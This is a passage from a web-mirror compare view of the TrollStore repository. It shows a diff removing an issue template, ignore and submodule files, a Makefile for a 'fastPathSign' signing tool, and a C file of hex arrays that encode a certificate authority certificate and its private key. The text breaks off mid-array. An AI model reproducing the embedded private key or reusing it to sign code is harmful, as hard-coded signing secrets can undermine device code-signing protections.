1
0
mirror of https://github.com/opa334/TrollStore.git synced 2025-04-14 00:03:12 +08:00

Compare commits

..

No commits in common. "main" and "1.0" have entirely different histories.
main ... 1.0

259 changed files with 7933 additions and 12550 deletions

View File

@ -1,96 +0,0 @@
name: Bug Report
description: Bug Report (No Duplicates Issue Here!)
body:
- type: markdown
attributes:
value: |
# Before post issue please read me
Your issue may already be reported!
Please search on the [issue tracker](https://github.com/opa334/TrollStore/issues) before creating one.
- type: checkboxes
id: no-duplicates-issue
attributes:
label: No Duplicates Issue
options:
- label: I'm sure I've searched on the issue tracker before creating one.
required: true
- type: textarea
id: expected-behavior
attributes:
label: Expected Behavior?
description: |
Describing a bug, tell us what should happen
placeholder: Tell us what you **Expected**!
validations:
required: true
- type: textarea
id: current-behavior
attributes:
label: Current Behavior?
description: |
Describing a bug, tell us what happens instead of the expected behavior
placeholder: Tell us what you **Happened**!
validations:
required: true
- type: textarea
id: possible-solution
attributes:
label: Possible Solution?
description: |
Not obligatory, but suggest a fix/reason for the bug,
or ideas how to implement the addition or change
placeholder: If not sure leave blank.
value: "-"
- type: textarea
id: steps-to-reproduce
attributes:
label: Steps to Reproduce
description: |
Provide a link to a live example, or an unambiguous set of steps to
reproduce this bug. Include code to reproduce, if relevant
placeholder: |
1.
2.
3.
value: "-"
- type: markdown
attributes:
value: |
# Your Environment
- type: input
id: trollstore-version
attributes:
label: TrollStore Version
description: like TrollInstaller2
validations:
required: true
- type: input
id: ios-version
attributes:
label: iOS/iPadOS version
description: like iOS 15.1
validations:
required: true
- type: input
id: idevice-model
attributes:
label: iDevice Model
description: like iPhone 11
validations:
required: true
- type: input
id: other-env
attributes:
label: Other info of your environment
description: like macOS 12.6, the newest THEOS...

5
.gitignore vendored
View File

@ -3,7 +3,4 @@ out/
.theos/
packages/
xcuserdata
.vscode
Pwnify/pwnify
InstallerVictim.ipa
_build
.vscode

3
.gitmodules vendored
View File

@ -1,3 +0,0 @@
[submodule "ChOma"]
path = ChOma
url = https://github.com/opa334/ChOma

1
ChOma

@ -1 +0,0 @@
Subproject commit 964023ddac2286ef8e843f90df64d44ac6a673df

View File

@ -1 +0,0 @@
fastPathSign

View File

@ -1,12 +0,0 @@
TARGET = fastPathSign
CC = clang
CFLAGS = -framework Foundation -framework CoreServices -framework Security -fobjc-arc $(shell pkg-config --cflags libcrypto) -I../../ChOma/src
LDFLAGS = $(shell pkg-config --libs libcrypto)
$(TARGET): $(wildcard src/*.m src/*.c ../../ChOma/src/*.c)
$(CC) $(CFLAGS) $(LDFLAGS) -o $@ $^
clean:
@rm -f $(TARGET)

File diff suppressed because it is too large Load Diff

View File

@ -1,259 +0,0 @@
unsigned char CACert[] = {
0x2d, 0x2d, 0x2d, 0x2d, 0x2d, 0x42, 0x45, 0x47, 0x49, 0x4e, 0x20, 0x43,
0x45, 0x52, 0x54, 0x49, 0x46, 0x49, 0x43, 0x41, 0x54, 0x45, 0x2d, 0x2d,
0x2d, 0x2d, 0x2d, 0x0a, 0x4d, 0x49, 0x49, 0x44, 0x6d, 0x54, 0x43, 0x43,
0x41, 0x6f, 0x47, 0x67, 0x41, 0x77, 0x49, 0x42, 0x41, 0x67, 0x49, 0x42,
0x41, 0x54, 0x41, 0x4e, 0x42, 0x67, 0x6b, 0x71, 0x68, 0x6b, 0x69, 0x47,
0x39, 0x77, 0x30, 0x42, 0x41, 0x51, 0x73, 0x46, 0x41, 0x44, 0x42, 0x44,
0x4d, 0x51, 0x73, 0x77, 0x43, 0x51, 0x59, 0x44, 0x56, 0x51, 0x51, 0x47,
0x45, 0x77, 0x4a, 0x56, 0x55, 0x7a, 0x45, 0x30, 0x0a, 0x4d, 0x44, 0x49,
0x47, 0x41, 0x31, 0x55, 0x45, 0x41, 0x77, 0x77, 0x72, 0x56, 0x48, 0x4a,
0x76, 0x62, 0x47, 0x78, 0x54, 0x64, 0x47, 0x39, 0x79, 0x5a, 0x53, 0x41,
0x79, 0x49, 0x47, 0x6c, 0x51, 0x61, 0x47, 0x39, 0x75, 0x5a, 0x53, 0x42,
0x44, 0x5a, 0x58, 0x4a, 0x30, 0x61, 0x57, 0x5a, 0x70, 0x59, 0x32, 0x46,
0x30, 0x61, 0x57, 0x39, 0x75, 0x49, 0x45, 0x46, 0x31, 0x64, 0x47, 0x68,
0x76, 0x0a, 0x63, 0x6d, 0x6c, 0x30, 0x65, 0x54, 0x41, 0x65, 0x46, 0x77,
0x30, 0x79, 0x4d, 0x7a, 0x45, 0x79, 0x4d, 0x6a, 0x59, 0x79, 0x4d, 0x7a,
0x41, 0x30, 0x4e, 0x44, 0x46, 0x61, 0x46, 0x77, 0x30, 0x79, 0x4d, 0x7a,
0x45, 0x79, 0x4d, 0x6a, 0x59, 0x79, 0x4d, 0x7a, 0x41, 0x30, 0x4e, 0x44,
0x46, 0x61, 0x4d, 0x45, 0x4d, 0x78, 0x43, 0x7a, 0x41, 0x4a, 0x42, 0x67,
0x4e, 0x56, 0x42, 0x41, 0x59, 0x54, 0x0a, 0x41, 0x6c, 0x56, 0x54, 0x4d,
0x54, 0x51, 0x77, 0x4d, 0x67, 0x59, 0x44, 0x56, 0x51, 0x51, 0x44, 0x44,
0x43, 0x74, 0x55, 0x63, 0x6d, 0x39, 0x73, 0x62, 0x46, 0x4e, 0x30, 0x62,
0x33, 0x4a, 0x6c, 0x49, 0x44, 0x49, 0x67, 0x61, 0x56, 0x42, 0x6f, 0x62,
0x32, 0x35, 0x6c, 0x49, 0x45, 0x4e, 0x6c, 0x63, 0x6e, 0x52, 0x70, 0x5a,
0x6d, 0x6c, 0x6a, 0x59, 0x58, 0x52, 0x70, 0x62, 0x32, 0x34, 0x67, 0x0a,
0x51, 0x58, 0x56, 0x30, 0x61, 0x47, 0x39, 0x79, 0x61, 0x58, 0x52, 0x35,
0x4d, 0x49, 0x49, 0x42, 0x49, 0x6a, 0x41, 0x4e, 0x42, 0x67, 0x6b, 0x71,
0x68, 0x6b, 0x69, 0x47, 0x39, 0x77, 0x30, 0x42, 0x41, 0x51, 0x45, 0x46,
0x41, 0x41, 0x4f, 0x43, 0x41, 0x51, 0x38, 0x41, 0x4d, 0x49, 0x49, 0x42,
0x43, 0x67, 0x4b, 0x43, 0x41, 0x51, 0x45, 0x41, 0x39, 0x72, 0x6c, 0x2f,
0x36, 0x49, 0x6a, 0x74, 0x0a, 0x50, 0x44, 0x6d, 0x45, 0x79, 0x34, 0x31,
0x55, 0x5a, 0x53, 0x38, 0x65, 0x58, 0x4a, 0x56, 0x75, 0x33, 0x4a, 0x52,
0x6d, 0x31, 0x71, 0x6c, 0x34, 0x39, 0x7a, 0x75, 0x2b, 0x35, 0x2b, 0x70,
0x73, 0x46, 0x42, 0x35, 0x56, 0x2f, 0x5a, 0x59, 0x53, 0x6a, 0x35, 0x41,
0x61, 0x48, 0x4c, 0x42, 0x33, 0x41, 0x5a, 0x6a, 0x78, 0x37, 0x31, 0x76,
0x49, 0x52, 0x37, 0x55, 0x72, 0x53, 0x2f, 0x4f, 0x48, 0x0a, 0x64, 0x35,
0x45, 0x73, 0x61, 0x36, 0x67, 0x6c, 0x4d, 0x47, 0x67, 0x58, 0x36, 0x50,
0x6b, 0x76, 0x76, 0x47, 0x6c, 0x79, 0x71, 0x44, 0x6e, 0x53, 0x4b, 0x39,
0x71, 0x49, 0x6a, 0x38, 0x77, 0x6d, 0x77, 0x53, 0x49, 0x46, 0x52, 0x43,
0x36, 0x76, 0x74, 0x2b, 0x59, 0x2b, 0x4f, 0x6d, 0x50, 0x5a, 0x46, 0x68,
0x73, 0x6f, 0x73, 0x39, 0x4b, 0x42, 0x43, 0x4c, 0x72, 0x4b, 0x42, 0x4f,
0x44, 0x53, 0x0a, 0x2f, 0x44, 0x49, 0x31, 0x6c, 0x33, 0x2f, 0x45, 0x73,
0x7a, 0x49, 0x61, 0x61, 0x50, 0x46, 0x64, 0x79, 0x6d, 0x48, 0x49, 0x4e,
0x76, 0x42, 0x30, 0x47, 0x32, 0x49, 0x39, 0x6e, 0x4f, 0x77, 0x67, 0x2f,
0x49, 0x4a, 0x4a, 0x61, 0x6f, 0x61, 0x78, 0x39, 0x71, 0x30, 0x63, 0x31,
0x58, 0x34, 0x51, 0x48, 0x6a, 0x61, 0x71, 0x35, 0x55, 0x37, 0x42, 0x70,
0x41, 0x50, 0x6d, 0x53, 0x59, 0x50, 0x57, 0x0a, 0x59, 0x76, 0x6d, 0x43,
0x65, 0x31, 0x30, 0x32, 0x67, 0x58, 0x48, 0x56, 0x50, 0x39, 0x6d, 0x59,
0x39, 0x32, 0x43, 0x57, 0x6d, 0x34, 0x6b, 0x4e, 0x68, 0x6e, 0x67, 0x73,
0x73, 0x35, 0x4c, 0x67, 0x65, 0x49, 0x4a, 0x37, 0x58, 0x41, 0x4a, 0x50,
0x58, 0x6e, 0x56, 0x31, 0x42, 0x4b, 0x73, 0x36, 0x69, 0x7a, 0x6a, 0x76,
0x54, 0x70, 0x6c, 0x45, 0x57, 0x77, 0x48, 0x68, 0x5a, 0x38, 0x31, 0x37,
0x0a, 0x56, 0x72, 0x4c, 0x5a, 0x41, 0x6d, 0x53, 0x63, 0x46, 0x7a, 0x36,
0x4e, 0x66, 0x62, 0x4f, 0x67, 0x43, 0x6c, 0x76, 0x6c, 0x43, 0x4b, 0x74,
0x71, 0x68, 0x49, 0x34, 0x41, 0x32, 0x4e, 0x4d, 0x33, 0x67, 0x46, 0x57,
0x46, 0x63, 0x56, 0x56, 0x44, 0x75, 0x46, 0x61, 0x73, 0x6b, 0x32, 0x2f,
0x44, 0x45, 0x48, 0x63, 0x67, 0x78, 0x2b, 0x55, 0x47, 0x4f, 0x74, 0x61,
0x48, 0x4a, 0x74, 0x73, 0x36, 0x0a, 0x51, 0x76, 0x69, 0x54, 0x6d, 0x39,
0x37, 0x5a, 0x63, 0x78, 0x55, 0x67, 0x34, 0x51, 0x49, 0x44, 0x41, 0x51,
0x41, 0x42, 0x6f, 0x34, 0x47, 0x58, 0x4d, 0x49, 0x47, 0x55, 0x4d, 0x41,
0x38, 0x47, 0x41, 0x31, 0x55, 0x64, 0x45, 0x77, 0x45, 0x42, 0x2f, 0x77,
0x51, 0x46, 0x4d, 0x41, 0x4d, 0x42, 0x41, 0x66, 0x38, 0x77, 0x44, 0x67,
0x59, 0x44, 0x56, 0x52, 0x30, 0x50, 0x41, 0x51, 0x48, 0x2f, 0x0a, 0x42,
0x41, 0x51, 0x44, 0x41, 0x67, 0x4b, 0x45, 0x4d, 0x42, 0x4d, 0x47, 0x41,
0x31, 0x55, 0x64, 0x4a, 0x51, 0x51, 0x4d, 0x4d, 0x41, 0x6f, 0x47, 0x43,
0x43, 0x73, 0x47, 0x41, 0x51, 0x55, 0x46, 0x42, 0x77, 0x4d, 0x44, 0x4d,
0x42, 0x49, 0x47, 0x43, 0x53, 0x71, 0x47, 0x53, 0x49, 0x62, 0x33, 0x59,
0x32, 0x51, 0x47, 0x46, 0x67, 0x45, 0x42, 0x2f, 0x77, 0x51, 0x43, 0x42,
0x51, 0x41, 0x77, 0x0a, 0x45, 0x77, 0x59, 0x4b, 0x4b, 0x6f, 0x5a, 0x49,
0x68, 0x76, 0x64, 0x6a, 0x5a, 0x41, 0x59, 0x42, 0x41, 0x77, 0x45, 0x42,
0x2f, 0x77, 0x51, 0x43, 0x42, 0x51, 0x41, 0x77, 0x46, 0x41, 0x59, 0x4c,
0x4b, 0x6f, 0x5a, 0x49, 0x68, 0x76, 0x64, 0x6a, 0x5a, 0x41, 0x59, 0x42,
0x47, 0x51, 0x45, 0x42, 0x41, 0x66, 0x38, 0x45, 0x41, 0x67, 0x55, 0x41,
0x4d, 0x42, 0x30, 0x47, 0x41, 0x31, 0x55, 0x64, 0x0a, 0x44, 0x67, 0x51,
0x57, 0x42, 0x42, 0x54, 0x42, 0x46, 0x75, 0x62, 0x4e, 0x57, 0x64, 0x4c,
0x6d, 0x6a, 0x5a, 0x74, 0x51, 0x78, 0x31, 0x46, 0x33, 0x70, 0x49, 0x46,
0x6c, 0x67, 0x52, 0x53, 0x32, 0x34, 0x54, 0x41, 0x4e, 0x42, 0x67, 0x6b,
0x71, 0x68, 0x6b, 0x69, 0x47, 0x39, 0x77, 0x30, 0x42, 0x41, 0x51, 0x73,
0x46, 0x41, 0x41, 0x4f, 0x43, 0x41, 0x51, 0x45, 0x41, 0x4b, 0x78, 0x4d,
0x6d, 0x0a, 0x50, 0x32, 0x41, 0x68, 0x4e, 0x4a, 0x5a, 0x55, 0x35, 0x54,
0x49, 0x72, 0x4a, 0x71, 0x75, 0x6e, 0x6b, 0x78, 0x4d, 0x48, 0x75, 0x59,
0x71, 0x57, 0x6c, 0x38, 0x67, 0x56, 0x67, 0x32, 0x4f, 0x64, 0x6d, 0x48,
0x39, 0x33, 0x52, 0x49, 0x78, 0x66, 0x63, 0x32, 0x47, 0x4d, 0x4b, 0x6a,
0x4a, 0x58, 0x4e, 0x43, 0x61, 0x37, 0x43, 0x6e, 0x4b, 0x43, 0x6c, 0x68,
0x55, 0x4d, 0x79, 0x43, 0x6b, 0x70, 0x0a, 0x6f, 0x6f, 0x61, 0x6f, 0x76,
0x41, 0x55, 0x66, 0x59, 0x66, 0x65, 0x6c, 0x6f, 0x61, 0x39, 0x76, 0x7a,
0x6a, 0x72, 0x6d, 0x50, 0x6b, 0x35, 0x53, 0x4d, 0x67, 0x55, 0x4d, 0x43,
0x73, 0x55, 0x54, 0x4b, 0x5a, 0x6f, 0x73, 0x39, 0x50, 0x58, 0x76, 0x7a,
0x57, 0x4e, 0x56, 0x77, 0x72, 0x61, 0x6b, 0x76, 0x71, 0x39, 0x7a, 0x74,
0x6d, 0x74, 0x30, 0x6f, 0x46, 0x39, 0x34, 0x64, 0x53, 0x64, 0x6e, 0x0a,
0x74, 0x7a, 0x56, 0x37, 0x33, 0x54, 0x34, 0x45, 0x4d, 0x4d, 0x2f, 0x56,
0x73, 0x33, 0x31, 0x41, 0x4b, 0x37, 0x63, 0x4a, 0x4e, 0x70, 0x46, 0x5a,
0x34, 0x68, 0x34, 0x57, 0x5a, 0x54, 0x43, 0x49, 0x6d, 0x34, 0x6b, 0x78,
0x33, 0x55, 0x65, 0x32, 0x47, 0x54, 0x68, 0x32, 0x61, 0x4e, 0x47, 0x4a,
0x52, 0x50, 0x54, 0x6a, 0x78, 0x54, 0x73, 0x36, 0x76, 0x73, 0x50, 0x78,
0x38, 0x68, 0x2b, 0x58, 0x0a, 0x6b, 0x45, 0x66, 0x44, 0x70, 0x77, 0x30,
0x5a, 0x4c, 0x35, 0x39, 0x4a, 0x54, 0x4b, 0x6e, 0x78, 0x47, 0x6a, 0x53,
0x72, 0x38, 0x4d, 0x41, 0x59, 0x64, 0x7a, 0x7a, 0x56, 0x31, 0x4f, 0x59,
0x4b, 0x34, 0x45, 0x67, 0x37, 0x67, 0x52, 0x57, 0x77, 0x6d, 0x79, 0x6b,
0x49, 0x56, 0x4f, 0x6a, 0x57, 0x45, 0x2b, 0x76, 0x71, 0x66, 0x44, 0x68,
0x4b, 0x4e, 0x64, 0x50, 0x6f, 0x48, 0x52, 0x4b, 0x45, 0x0a, 0x6c, 0x6d,
0x7a, 0x41, 0x46, 0x79, 0x4d, 0x34, 0x78, 0x69, 0x55, 0x67, 0x2f, 0x6b,
0x54, 0x6a, 0x6c, 0x6d, 0x7a, 0x55, 0x6f, 0x46, 0x56, 0x50, 0x73, 0x58,
0x46, 0x4e, 0x6b, 0x35, 0x6b, 0x42, 0x4f, 0x4d, 0x6a, 0x51, 0x61, 0x35,
0x61, 0x49, 0x79, 0x35, 0x36, 0x32, 0x57, 0x37, 0x5a, 0x43, 0x75, 0x75,
0x4a, 0x4f, 0x33, 0x78, 0x41, 0x59, 0x4b, 0x61, 0x61, 0x6d, 0x73, 0x63,
0x65, 0x2f, 0x0a, 0x58, 0x78, 0x44, 0x6a, 0x6e, 0x6c, 0x75, 0x62, 0x47,
0x70, 0x67, 0x44, 0x53, 0x6e, 0x4c, 0x67, 0x47, 0x41, 0x3d, 0x3d, 0x0a,
0x2d, 0x2d, 0x2d, 0x2d, 0x2d, 0x45, 0x4e, 0x44, 0x20, 0x43, 0x45, 0x52,
0x54, 0x49, 0x46, 0x49, 0x43, 0x41, 0x54, 0x45, 0x2d, 0x2d, 0x2d, 0x2d,
0x2d, 0x0a
};
unsigned int CACertLength = 1310;
unsigned char CAKey[] = {
0x2d, 0x2d, 0x2d, 0x2d, 0x2d, 0x42, 0x45, 0x47, 0x49, 0x4e, 0x20, 0x50,
0x52, 0x49, 0x56, 0x41, 0x54, 0x45, 0x20, 0x4b, 0x45, 0x59, 0x2d, 0x2d,
0x2d, 0x2d, 0x2d, 0x0a, 0x4d, 0x49, 0x49, 0x45, 0x76, 0x51, 0x49, 0x42,
0x41, 0x44, 0x41, 0x4e, 0x42, 0x67, 0x6b, 0x71, 0x68, 0x6b, 0x69, 0x47,
0x39, 0x77, 0x30, 0x42, 0x41, 0x51, 0x45, 0x46, 0x41, 0x41, 0x53, 0x43,
0x42, 0x4b, 0x63, 0x77, 0x67, 0x67, 0x53, 0x6a, 0x41, 0x67, 0x45, 0x41,
0x41, 0x6f, 0x49, 0x42, 0x41, 0x51, 0x44, 0x32, 0x75, 0x58, 0x2f, 0x6f,
0x69, 0x4f, 0x30, 0x38, 0x4f, 0x59, 0x54, 0x4c, 0x0a, 0x6a, 0x56, 0x52,
0x6c, 0x4c, 0x78, 0x35, 0x63, 0x6c, 0x57, 0x37, 0x63, 0x6c, 0x47, 0x62,
0x57, 0x71, 0x58, 0x6a, 0x33, 0x4f, 0x37, 0x37, 0x6e, 0x36, 0x6d, 0x77,
0x55, 0x48, 0x6c, 0x58, 0x39, 0x6c, 0x68, 0x4b, 0x50, 0x6b, 0x42, 0x6f,
0x63, 0x73, 0x48, 0x63, 0x42, 0x6d, 0x50, 0x48, 0x76, 0x57, 0x38, 0x68,
0x48, 0x74, 0x53, 0x74, 0x4c, 0x38, 0x34, 0x64, 0x33, 0x6b, 0x53, 0x78,
0x72, 0x0a, 0x71, 0x43, 0x55, 0x77, 0x61, 0x42, 0x66, 0x6f, 0x2b, 0x53,
0x2b, 0x38, 0x61, 0x58, 0x4b, 0x6f, 0x4f, 0x64, 0x49, 0x72, 0x32, 0x6f,
0x69, 0x50, 0x7a, 0x43, 0x62, 0x42, 0x49, 0x67, 0x56, 0x45, 0x4c, 0x71,
0x2b, 0x33, 0x35, 0x6a, 0x34, 0x36, 0x59, 0x39, 0x6b, 0x57, 0x47, 0x79,
0x69, 0x7a, 0x30, 0x6f, 0x45, 0x49, 0x75, 0x73, 0x6f, 0x45, 0x34, 0x4e,
0x4c, 0x38, 0x4d, 0x6a, 0x57, 0x58, 0x0a, 0x66, 0x38, 0x53, 0x7a, 0x4d,
0x68, 0x70, 0x6f, 0x38, 0x56, 0x33, 0x4b, 0x59, 0x63, 0x67, 0x32, 0x38,
0x48, 0x51, 0x62, 0x59, 0x6a, 0x32, 0x63, 0x37, 0x43, 0x44, 0x38, 0x67,
0x6b, 0x6c, 0x71, 0x68, 0x72, 0x48, 0x32, 0x72, 0x52, 0x7a, 0x56, 0x66,
0x68, 0x41, 0x65, 0x4e, 0x71, 0x72, 0x6c, 0x54, 0x73, 0x47, 0x6b, 0x41,
0x2b, 0x5a, 0x4a, 0x67, 0x39, 0x5a, 0x69, 0x2b, 0x59, 0x4a, 0x37, 0x0a,
0x58, 0x54, 0x61, 0x42, 0x63, 0x64, 0x55, 0x2f, 0x32, 0x5a, 0x6a, 0x33,
0x59, 0x4a, 0x61, 0x62, 0x69, 0x51, 0x32, 0x47, 0x65, 0x43, 0x79, 0x7a,
0x6b, 0x75, 0x42, 0x34, 0x67, 0x6e, 0x74, 0x63, 0x41, 0x6b, 0x39, 0x65,
0x64, 0x58, 0x55, 0x45, 0x71, 0x7a, 0x71, 0x4c, 0x4f, 0x4f, 0x39, 0x4f,
0x6d, 0x55, 0x52, 0x62, 0x41, 0x65, 0x46, 0x6e, 0x7a, 0x58, 0x74, 0x57,
0x73, 0x74, 0x6b, 0x43, 0x0a, 0x5a, 0x4a, 0x77, 0x58, 0x50, 0x6f, 0x31,
0x39, 0x73, 0x36, 0x41, 0x4b, 0x57, 0x2b, 0x55, 0x49, 0x71, 0x32, 0x71,
0x45, 0x6a, 0x67, 0x44, 0x59, 0x30, 0x7a, 0x65, 0x41, 0x56, 0x59, 0x56,
0x78, 0x56, 0x55, 0x4f, 0x34, 0x56, 0x71, 0x79, 0x54, 0x62, 0x38, 0x4d,
0x51, 0x64, 0x79, 0x44, 0x48, 0x35, 0x51, 0x59, 0x36, 0x31, 0x6f, 0x63,
0x6d, 0x32, 0x7a, 0x70, 0x43, 0x2b, 0x4a, 0x4f, 0x62, 0x0a, 0x33, 0x74,
0x6c, 0x7a, 0x46, 0x53, 0x44, 0x68, 0x41, 0x67, 0x4d, 0x42, 0x41, 0x41,
0x45, 0x43, 0x67, 0x67, 0x45, 0x41, 0x41, 0x65, 0x58, 0x78, 0x52, 0x6e,
0x53, 0x42, 0x2f, 0x49, 0x42, 0x35, 0x36, 0x59, 0x76, 0x68, 0x4f, 0x54,
0x42, 0x78, 0x74, 0x61, 0x4d, 0x30, 0x7a, 0x37, 0x32, 0x30, 0x72, 0x54,
0x68, 0x76, 0x59, 0x73, 0x6e, 0x51, 0x36, 0x78, 0x6c, 0x74, 0x4a, 0x71,
0x49, 0x5a, 0x0a, 0x66, 0x64, 0x53, 0x52, 0x47, 0x4d, 0x32, 0x61, 0x54,
0x56, 0x50, 0x6b, 0x58, 0x51, 0x44, 0x51, 0x64, 0x50, 0x4f, 0x30, 0x47,
0x71, 0x7a, 0x68, 0x72, 0x2f, 0x31, 0x51, 0x45, 0x71, 0x6a, 0x31, 0x54,
0x6b, 0x42, 0x63, 0x56, 0x61, 0x4d, 0x5a, 0x34, 0x72, 0x34, 0x43, 0x7a,
0x6e, 0x71, 0x53, 0x56, 0x6a, 0x6e, 0x77, 0x61, 0x48, 0x76, 0x6e, 0x57,
0x4d, 0x47, 0x67, 0x6e, 0x31, 0x51, 0x56, 0x0a, 0x35, 0x62, 0x6c, 0x39,
0x47, 0x71, 0x74, 0x69, 0x32, 0x58, 0x32, 0x33, 0x32, 0x34, 0x4d, 0x6d,
0x79, 0x75, 0x77, 0x69, 0x31, 0x2f, 0x4b, 0x52, 0x74, 0x41, 0x51, 0x58,
0x72, 0x48, 0x62, 0x39, 0x6a, 0x59, 0x42, 0x76, 0x4c, 0x73, 0x53, 0x6a,
0x45, 0x6c, 0x46, 0x50, 0x31, 0x43, 0x4d, 0x67, 0x70, 0x47, 0x39, 0x51,
0x2b, 0x64, 0x35, 0x56, 0x69, 0x48, 0x54, 0x69, 0x76, 0x37, 0x57, 0x55,
0x0a, 0x4b, 0x56, 0x77, 0x55, 0x64, 0x62, 0x67, 0x67, 0x6a, 0x50, 0x56,
0x66, 0x6e, 0x44, 0x6b, 0x43, 0x70, 0x6c, 0x68, 0x74, 0x5a, 0x6b, 0x56,
0x56, 0x6d, 0x43, 0x53, 0x47, 0x63, 0x76, 0x32, 0x74, 0x5a, 0x73, 0x39,
0x77, 0x6a, 0x41, 0x62, 0x61, 0x31, 0x49, 0x74, 0x6e, 0x76, 0x35, 0x74,
0x30, 0x6e, 0x4e, 0x51, 0x34, 0x37, 0x74, 0x63, 0x4a, 0x4e, 0x74, 0x71,
0x48, 0x35, 0x42, 0x4f, 0x6a, 0x0a, 0x32, 0x66, 0x2b, 0x75, 0x2b, 0x6e,
0x35, 0x44, 0x51, 0x31, 0x33, 0x46, 0x4a, 0x74, 0x4b, 0x70, 0x37, 0x33,
0x73, 0x6a, 0x4a, 0x4c, 0x77, 0x54, 0x7a, 0x4a, 0x43, 0x4c, 0x6a, 0x46,
0x4f, 0x4b, 0x68, 0x66, 0x5a, 0x6d, 0x46, 0x51, 0x6f, 0x4f, 0x70, 0x54,
0x65, 0x75, 0x71, 0x53, 0x2f, 0x70, 0x53, 0x68, 0x56, 0x38, 0x50, 0x6c,
0x5a, 0x6a, 0x7a, 0x55, 0x79, 0x5a, 0x56, 0x62, 0x72, 0x70, 0x0a, 0x59,
0x35, 0x68, 0x64, 0x58, 0x48, 0x50, 0x32, 0x53, 0x35, 0x4b, 0x76, 0x4d,
0x76, 0x59, 0x67, 0x32, 0x77, 0x33, 0x44, 0x77, 0x38, 0x6b, 0x74, 0x2f,
0x53, 0x63, 0x69, 0x44, 0x57, 0x6a, 0x57, 0x47, 0x42, 0x69, 0x38, 0x6e,
0x33, 0x6a, 0x50, 0x77, 0x51, 0x4b, 0x42, 0x67, 0x51, 0x44, 0x2b, 0x36,
0x55, 0x47, 0x6d, 0x48, 0x31, 0x4a, 0x73, 0x31, 0x56, 0x68, 0x75, 0x48,
0x2b, 0x71, 0x4a, 0x0a, 0x56, 0x35, 0x53, 0x6f, 0x66, 0x31, 0x2b, 0x31,
0x6f, 0x6b, 0x48, 0x52, 0x33, 0x50, 0x53, 0x33, 0x75, 0x4c, 0x6e, 0x4a,
0x79, 0x33, 0x6a, 0x46, 0x31, 0x44, 0x73, 0x67, 0x51, 0x33, 0x48, 0x38,
0x75, 0x56, 0x51, 0x2b, 0x6d, 0x45, 0x33, 0x34, 0x79, 0x53, 0x69, 0x59,
0x52, 0x74, 0x6e, 0x6a, 0x4c, 0x6b, 0x6e, 0x63, 0x42, 0x71, 0x65, 0x79,
0x5a, 0x68, 0x56, 0x50, 0x6f, 0x52, 0x68, 0x79, 0x0a, 0x64, 0x64, 0x55,
0x47, 0x39, 0x56, 0x43, 0x75, 0x2f, 0x7a, 0x44, 0x52, 0x50, 0x6c, 0x49,
0x6d, 0x58, 0x64, 0x5a, 0x75, 0x39, 0x51, 0x4e, 0x56, 0x36, 0x32, 0x59,
0x43, 0x6d, 0x38, 0x2b, 0x73, 0x43, 0x6b, 0x4e, 0x57, 0x32, 0x49, 0x2f,
0x64, 0x52, 0x73, 0x6d, 0x2b, 0x71, 0x72, 0x54, 0x46, 0x70, 0x72, 0x6a,
0x35, 0x5a, 0x45, 0x66, 0x78, 0x45, 0x41, 0x39, 0x6f, 0x4e, 0x7a, 0x57,
0x6a, 0x0a, 0x4d, 0x50, 0x4d, 0x6d, 0x6c, 0x51, 0x59, 0x6c, 0x33, 0x38,
0x54, 0x74, 0x77, 0x70, 0x6f, 0x33, 0x2b, 0x6d, 0x6a, 0x46, 0x30, 0x6b,
0x70, 0x6c, 0x6f, 0x51, 0x4b, 0x42, 0x67, 0x51, 0x44, 0x33, 0x78, 0x30,
0x71, 0x51, 0x61, 0x4e, 0x57, 0x50, 0x67, 0x73, 0x65, 0x58, 0x55, 0x48,
0x42, 0x47, 0x66, 0x2b, 0x36, 0x4e, 0x34, 0x58, 0x54, 0x64, 0x79, 0x39,
0x55, 0x45, 0x73, 0x4a, 0x70, 0x47, 0x0a, 0x47, 0x42, 0x41, 0x5a, 0x79,
0x36, 0x34, 0x57, 0x42, 0x6a, 0x47, 0x34, 0x46, 0x4f, 0x6e, 0x50, 0x47,
0x4e, 0x4a, 0x71, 0x6c, 0x38, 0x34, 0x75, 0x39, 0x55, 0x45, 0x55, 0x6c,
0x78, 0x39, 0x6a, 0x69, 0x79, 0x75, 0x4b, 0x42, 0x57, 0x70, 0x57, 0x2f,
0x31, 0x6f, 0x6b, 0x44, 0x49, 0x48, 0x65, 0x70, 0x73, 0x42, 0x57, 0x52,
0x75, 0x45, 0x4d, 0x51, 0x67, 0x4a, 0x72, 0x6a, 0x59, 0x44, 0x33, 0x0a,
0x62, 0x37, 0x36, 0x77, 0x4a, 0x2b, 0x75, 0x42, 0x7a, 0x2f, 0x75, 0x6d,
0x47, 0x50, 0x6f, 0x50, 0x56, 0x4f, 0x32, 0x49, 0x2f, 0x79, 0x53, 0x54,
0x52, 0x47, 0x67, 0x66, 0x37, 0x5a, 0x70, 0x34, 0x47, 0x74, 0x50, 0x6f,
0x54, 0x67, 0x58, 0x68, 0x54, 0x65, 0x72, 0x37, 0x58, 0x79, 0x42, 0x73,
0x57, 0x49, 0x75, 0x78, 0x55, 0x78, 0x32, 0x2f, 0x48, 0x5a, 0x31, 0x58,
0x6f, 0x6a, 0x78, 0x65, 0x0a, 0x37, 0x75, 0x54, 0x37, 0x41, 0x6b, 0x70,
0x7a, 0x51, 0x51, 0x4b, 0x42, 0x67, 0x42, 0x46, 0x4b, 0x42, 0x73, 0x37,
0x61, 0x6e, 0x76, 0x2b, 0x4d, 0x74, 0x4e, 0x4f, 0x37, 0x54, 0x48, 0x41,
0x47, 0x52, 0x61, 0x6e, 0x73, 0x41, 0x62, 0x54, 0x54, 0x44, 0x58, 0x33,
0x4c, 0x61, 0x37, 0x6d, 0x75, 0x53, 0x4d, 0x4f, 0x63, 0x44, 0x6c, 0x50,
0x30, 0x6f, 0x68, 0x48, 0x39, 0x49, 0x52, 0x55, 0x51, 0x0a, 0x43, 0x4e,
0x75, 0x35, 0x2f, 0x73, 0x66, 0x5a, 0x39, 0x4f, 0x76, 0x6e, 0x47, 0x6b,
0x34, 0x6a, 0x54, 0x4a, 0x55, 0x6b, 0x79, 0x6d, 0x6a, 0x36, 0x4c, 0x59,
0x58, 0x61, 0x47, 0x6b, 0x74, 0x68, 0x48, 0x4a, 0x4b, 0x39, 0x50, 0x72,
0x79, 0x76, 0x79, 0x45, 0x4c, 0x59, 0x35, 0x44, 0x39, 0x2f, 0x36, 0x39,
0x52, 0x59, 0x76, 0x2b, 0x49, 0x71, 0x39, 0x68, 0x39, 0x46, 0x4c, 0x42,
0x2b, 0x79, 0x0a, 0x44, 0x6f, 0x45, 0x73, 0x62, 0x51, 0x32, 0x49, 0x43,
